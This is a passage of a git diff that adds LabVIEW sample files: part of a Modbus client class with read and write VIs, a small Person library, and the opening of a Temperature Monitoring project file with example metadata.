+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">2</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342714386</Property>
+		</Item>
+	</Item>
+	<Item Name="Protected" Type="Folder">
+		<Property Name="NI.LibItem.Scope" Type="Int">3</Property>
+		<Item Name="Read RTU Data.vi" Type="VI" URL="../Protected/Read RTU Data.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!%]!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!Z!-0````]%:'&amp;U91!!-%"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!+45^%1F64)'^V&gt;!!!)%"1!!-!!!!"!!)4:8*S&lt;X)A;7YA+'ZP)'6S=G^S+1!41!5!$7:V&lt;G.U;7^O)'.P:'5!,E"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!&amp;1!]!!-!!-!"!!&amp;!!9!"!!%!!1!"!!(!!1!#!!*!Q!!?!!!$1A!!!!!!!!*!!!!D1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!"!!!!#3!!!!!!%!#A!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">false</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">3</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342710288</Property>
+		</Item>
+		<Item Name="Read.vi" Type="VI" URL="../Protected/Read.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;.!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!"2!-0````],=G6B:#"C&gt;7:G:8)!-%"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!+45^%1F64)'^V&gt;!!!)%"1!!-!!!!"!!)4:8*S&lt;X)A;7YA+'ZP)'6S=G^S+1!21!=!#G*Z&gt;'5A9W^V&lt;H1!!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"1!'!!1!"!!%!!1!"Q!%!!A!#1-!!(A!!!U)!!!!!!!!#1!!!!E!!!!!!!!!!!!!!!!!!!!!!!!!#A!!!!!!!!!1!!!!%!!!$1!!!!Q!!!!!!!!!!!!!!1!+!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">3</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342714386</Property>
+		</Item>
+	</Item>
+	<Item Name="Public" Type="Folder">
+		<Item Name="Close.vi" Type="VI" URL="../Public/Close.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!$L!!!!#!!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!,E"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!&amp;1!]!!-!!-!"!!%!!1!"!!%!!1!"!!&amp;!!1!"!!'!Q!!?!!!$1A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!!!!!!#1!!!!!!%!"Q!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">false</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.MustCallParent" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1107821072</Property>
+		</Item>
+		<Item Name="Command.vi" Type="VI" URL="../Public/Command.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;Q!!!!$A!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!5!"1!!&amp;E"!!!(`````!!5):'&amp;U93"P&gt;81!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!%U!&amp;!!V'&gt;7ZD&gt;'FP&lt;C"$&lt;W2F!"2!1!!"`````Q!*"W2B&gt;'%A;7Y!%U!&amp;!!VG&gt;7ZD&gt;'FP&lt;C"D&lt;W2F!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"5!0!!$!!$!!1!"A!(!!1!"!!%!!1!#!!+!!M!$!-!!(A!!!E!!!!!!!!!#1!!!)U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!1I!!!!3!!!!EA!!!!!"!!U!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">1090519168</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">false</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1082143248</Property>
+		</Item>
+		<Item Name="Initialize Modbus Client Serial.vi" Type="VI" URL="../Public/Initialize Modbus Client Serial.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!*-!!!!%Q!O1(!!(A!!'BB14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!*5!7!!-$5F26"5&amp;41UF*!V2$5!!/=(*P&gt;'^D&lt;WQA+&amp;*563E!!"F!"1!4=X2B&gt;'FP&lt;C"B:'2S:8.T)#AR+1!81!=!%82J&lt;76P&gt;81M)'VT)#AT-$!J!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!"Y!.`````]!""5!A!!!!!!"!!1!!!!"!!!!!!!!!#J!=!!/"5FO=X2S!!%!"25!A!!!!!!"!!1!!!!"!!!!!!!!"("P=H1!!!1!!!!81!=!%'*B&gt;71A=G&amp;U:3!I/49Q-#E!!".!"A!.:'&amp;U93"C;82T)#AY+1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!A1&amp;!!!Q!+!!M!$".F=H*P=C"J&lt;C!I&lt;G]A:8*S&lt;X)J!".!"A!.='&amp;S;82Z)#BF&gt;G6O+1!61!9!$X.U&lt;X!A9GFU=S!I-3YQ+1!:1!9!%W:M&lt;X=A9W^O&gt;(*P&lt;#!I&lt;G^O:3E!&amp;E"1!!-!#A!,!!Q*:8*S&lt;X)A&lt;X6U!(U!]!!1!!!!!1!#!!-!"!!'!!=!#!!(!!E!"Q!.!!Y!$Q!1!"%$!!%)!!!+!!!!#!!!!!A!!!!)!!!!$1!!!"!!!!!!!!!!#!!!!!!!!!!)!!!!!!!!!!I!!!!)!!!!#!!!!!A!!!!.#Q!2!!!!!!%!!!!!!!!!!!!!!!!!!1!3!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1342710288</Property>
+		</Item>
+		<Item Name="Initialize Modbus Client TCP.vi" Type="VI" URL="../Public/Initialize Modbus Client TCP.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;J!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!"&gt;!"Q!2&gt;'FN:7^V&gt;#QA&lt;8-A+$-Q-#E!*5!7!!-$5F26"5&amp;41UF*!V2$5!!/=(*P&gt;'^D&lt;WQA+&amp;2$5#E!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!'U!&amp;!"6T&gt;'&amp;U;7^O)'&amp;E:(*F=X-A+$)V.3E!%5!'!!JQ&lt;X*U)#AV-$)J!!!51$$`````#GFQ)'&amp;E:(*F=X-!!&amp;1!]!!-!!-!"!!%!!5!"!!'!!1!"Q!)!!E!#A!,!Q!!?!!!$1A!!!!!!!!!!!!!#1!!!!!!!!!)!!!!!!!!!!A!!!!+!!!!#!!!!!A!!!)1!!!!!!%!$!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1082143248</Property>
+		</Item>
+		<Item Name="Read Coils.vi" Type="VI" URL="../Public/Read Coils.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;C!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!1!)1!51%!!!@````]!"1:W97RV:8-!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!&amp;5!'!!^O&gt;7VC:8)A&lt;W9A9W^J&lt;(-!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"A!(!!1!"!!%!!1!#!!*!!I!#Q-!!(A!!!U)!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!")!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!-!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352933904</Property>
+		</Item>
+		<Item Name="Read Discrete Inputs.vi" Type="VI" URL="../Public/Read Discrete Inputs.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;M!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!1!)1!51%!!!@````]!"1:W97RV:8-!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!(U!'!"FO&gt;7VC:8)A&lt;W9A:'FT9X*F&gt;'5A;7ZQ&gt;82T!!V!"A!(972E=G6T=Q!O1(!!(A!!'BB14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!9!"Q!%!!1!"!!%!!A!#1!+!!M$!!"Y!!!.#!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!3!!!!%!!!!")!!!U!!!!-!!!!!!!!!!!!!!%!$!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352933904</Property>
+		</Item>
+		<Item Name="Read Holding Registers.vi" Type="VI" URL="../Public/Read Holding Registers.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;X!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!V!"A!(4H6N:8*J9Q!51%!!!@````]!"1:W97RV:8-!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!)5!'!"NO&gt;7VC:8)A&lt;W9A;'^M:'FO:S"S:7&gt;J=X2F=H-!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"A!(!!1!"!!%!!1!#!!*!!I!#Q-!!(A!!!U)!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!")!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!-!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352933904</Property>
+		</Item>
+		<Item Name="Read Input Registers.vi" Type="VI" URL="../Public/Read Input Registers.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;V!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!!V!"A!(4H6N:8*J9Q!51%!!!@````]!"1:W97RV:8-!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!(U!'!"FO&gt;7VC:8)A&lt;W9A;7ZQ&gt;81A=G6H;8.U:8*T!!V!"A!(972E=G6T=Q!O1(!!(A!!'BB14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!9!"Q!%!!1!"!!%!!A!#1!+!!M$!!"Y!!!.#!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!3!!!!%!!!!")!!!U!!!!-!!!!!!!!!!!!!!%!$!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352671760</Property>
+		</Item>
+		<Item Name="Write Multiple Coils.vi" Type="VI" URL="../Public/Write Multiple Coils.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;.!!!!$!!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!"!!B!"2!1!!"`````Q!("H:B&lt;(6F=Q!!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"!!&amp;!!1!"!!%!!1!"A!)!!E!#A-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!B!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!,!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352933904</Property>
+		</Item>
+		<Item Name="Write Multiple Holding Registers.vi" Type="VI" URL="../Public/Write Multiple Holding Registers.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;7!!!!$!!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!$5!'!!&gt;/&gt;7VF=GFD!"2!1!!"`````Q!("H:B&lt;(6F=Q!!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S"J&lt;A"B!0!!$!!$!!1!"!!&amp;!!1!"!!%!!1!"A!)!!E!#A-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!B!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!,!!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1352933904</Property>
+		</Item>
+		<Item Name="Write Single Coil.vi" Type="VI" URL="../Public/Write Single Coil.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!%`!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!#E!B"8:B&lt;(6F!!V!"A!(972E=G6T=Q!O1(!!(A!!'BB14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!1!"1!%!!1!"!!%!!9!"Q!)!!E$!!"Y!!!*!!!!!!!!!!!!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!1!!!!%!!!!")!!!U!!!!-!!!!!!!!!!!!!!%!#A!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1117782544</Property>
+		</Item>
+		<Item Name="Write Single Holding Register.vi" Type="VI" URL="../Public/Write Single Holding Register.vi">
+			<Property Name="NI.ClassItem.ConnectorPane" Type="Bin">&amp;1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!&amp;!!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!"'.P:'5!!""!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C"P&gt;81!"!!!!$"!=!!?!!!;'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S"P&gt;81!!#"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S"F=H*P=CE!#U!'!!6W97RV:1!.1!9!"W&amp;E:(*F=X-!,E"Q!"Y!!"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!'%!]!!-!!-!"!!%!!5!"!!%!!1!"!!'!!=!#!!*!Q!!?!!!#1!!!!!!!!!!!!!!$1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!%!!!!"!!!!!3!!!.!!!!$!!!!!!!!!!!!!!"!!I!!!!!</Property>
+			<Property Name="NI.ClassItem.ExecutionSystem" Type="Int">-1</Property>
+			<Property Name="NI.ClassItem.Flags" Type="Int">16777344</Property>
+			<Property Name="NI.ClassItem.IsStaticMethod" Type="Bool">true</Property>
+			<Property Name="NI.ClassItem.MethodScope" Type="UInt">1</Property>
+			<Property Name="NI.ClassItem.Priority" Type="Int">1</Property>
+			<Property Name="NI.ClassItem.State" Type="Int">1117782544</Property>
+		</Item>
+	</Item>
+</LVClass>
diff --git a/samples/LabVIEW/Person.lvlib b/samples/LabVIEW/Person.lvlib
new file mode 100755
index 0000000000..8048da0be5
--- /dev/null
+++ b/samples/LabVIEW/Person.lvlib
@@ -0,0 +1,11 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Library LVVersion="19008000">
+	<Property Name="NI.Lib.Icon" Type="Bin">'1#!!!!!!!)!"1!&amp;!!!-!%!!!@````]!!!!"!!%!!!(]!!!*Q(C=\&gt;7R=2MR%!81N=?"5Q&lt;/07RB7W!,&lt;'&amp;&lt;9+K1,7Q,&lt;)%N&lt;!NMA3X)DW?-RJ(JQ"I\%%Z,(@`BA#==ZB3RN;]28_,V7@PWW`:R`&gt;HV*SU_WE@\N_XF[3:^^TX\+2YP)D7K6;G-RV3P)R`ZS%=_]J'XP/5N&lt;XH,7V\SEJ?]Z#5P?=J4HP+5JTTFWS%0?=B$DD1G(R/.1==!IT.+D)`B':\B'2Z@9XC':XC':XBUC?%:HO%:HO&amp;R7QT0]!T0]!S0I4&lt;*&lt;)?=:XA-(]X40-X40-VDSGC?"GC4N9(&lt;)"D2,L;4ZGG?ZH%;T&gt;-]T&gt;-]T?.S.%`T.%`T.)^&lt;NF8J4@-YZ$S'C?)JHO)JHO)R&gt;"20]220]230[;*YCK=ASI2F=)1I.Z5/Z5PR&amp;)^@54T&amp;5TT&amp;5TQO&lt;5_INJ6Z;"[(H#&gt;ZEC&gt;ZEC&gt;Z$"(*ETT*ETT*9^B)HO2*HO2*(F.&amp;]C20]C2)GN4UE1:,.[:/+5A?0^NOS?UJ^3&lt;*\9B9GT@7JISVW7*NIFC&lt;)^:$D`5Q9TWE7)M@;V&amp;D,6;M29DVR]6#R],%GC47T9_/=@&gt;Z5V&gt;V57&gt;V5E&gt;V5(OV?^T[FTP?\`?YX7ZRP6\D=LH%_8S/U_E5R_-R$I&gt;$\0@\W/VW&lt;[_"\Y[X&amp;],0^^+,]T_J&gt;`J@_B_]'_.T`$KO.@I"XC-_N!!!!!!</Property>
+	<Property Name="NI.Lib.SourceVersion" Type="Int">419463168</Property>
+	<Property Name="NI.Lib.Version" Type="Str">1.0.0.0</Property>
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">true</Property>
+	<Item Name="Messages for Person" Type="Folder">
+		<Item Name="Show or Hide Front Panel Msg.lvclass" Type="LVClass" URL="../Person Messages/Show or Hide Front Panel Msg/Show or Hide Front Panel Msg.lvclass"/>
+	</Item>
+	<Item Name="Person.lvclass" Type="LVClass" URL="../Person/Person.lvclass"/>
+</Library>
diff --git a/samples/LabVIEW/Temperature Monitoring.lvproj b/samples/LabVIEW/Temperature Monitoring.lvproj
new file mode 100755
index 0000000000..d521faded3
--- /dev/null
+++ b/samples/LabVIEW/Temperature Monitoring.lvproj	
@@ -0,0 +1,116 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<Project Type="Project" LVVersion="19008000">
+	<Property Name="NI.LV.All.SourceOnly" Type="Bool">false</Property>
+	<Property Name="NI.LV.ExampleFinder" Type="Str">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;nidna:ExampleProgram 
+    xmlns:nidna="http://www.ni.com/Schemas/DNA/1.0" 
+    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
+    xsi:schemaLocation="http://www.ni.com/Schemas/DNA/1.0 ..\DNA\1.0\NiExampleProgram.xsd" 
+    SchemaVersion="1.0" 
+    ContentType="EXAMPLE" 
+&lt;Title&gt;
+	&lt;Text Locale="US"&gt;Temperature Monitoring.lvproj&lt;/Text&gt;
+&lt;/Title&gt;
+&lt;Description&gt;
+	&lt;Text Locale="US"&gt; Temperature Monitoring demonstrates a temperature monitoring application.  The main VI reads a simulated temperature and alarms if it is outside a given range. This example also shows a usage of the Continuous Measurement and Logging sample project, but it contains a subset of the functionality in that sample project.&lt;/Text&gt;
+&lt;/Description&gt;
+&lt;Keywords&gt; 
+ &lt;Item&gt;temperature&lt;/Item&gt; 
+ &lt;Item&gt;temperatures&lt;/Item&gt; 
+ &lt;Item&gt;continuous&lt;/Item&gt; 
+ &lt;Item&gt;monitoring&lt;/Item&gt; 
+ &lt;Item&gt;app&lt;/Item&gt; 
+ &lt;Item&gt;apps&lt;/Item&gt; 
+ &lt;Item&gt;application&lt;/Item&gt; 
+ &lt;Item&gt;applications&lt;/Item&gt; 
+ &lt;Item&gt;demo&lt;/Item&gt; 
+ &lt;Item&gt;demos&lt;/Item&gt; 
+&lt;/Keywords&gt; 
